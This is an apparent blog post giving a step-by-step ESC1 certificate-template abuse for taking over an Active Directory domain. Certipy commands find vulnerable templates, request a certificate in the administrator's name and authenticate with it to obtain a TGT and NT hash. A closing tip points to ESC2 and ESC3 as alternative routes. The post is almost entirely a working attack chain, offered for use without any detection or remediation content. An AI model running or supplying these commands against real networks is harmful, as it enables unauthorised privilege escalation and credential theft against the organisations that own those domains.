ESC1 certificate template abuse for domain admin

Jul 10, 2026 · 1 min read

Enumerate vulnerable templates, then request a certificate specifying an alternate subject name of a privileged user.

bash

certipy find -u user@dom -p pass -vulnerable -stdout
certipy req -u user@dom -p pass -ca CA-NAME -template VulnTemplate -upn administrator@dom

Authenticate with the issued certificate.

bash

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1   # yields TGT and NT hash

Pro note: ESC1 requires the template to permit SAN specification plus a client authentication EKU and enrollment rights for your group. If SAN is not allowed but the template is otherwise weak, check ESC2 (any purpose EKU) and ESC3 (enrollment agent) which reach the same outcome by different routes.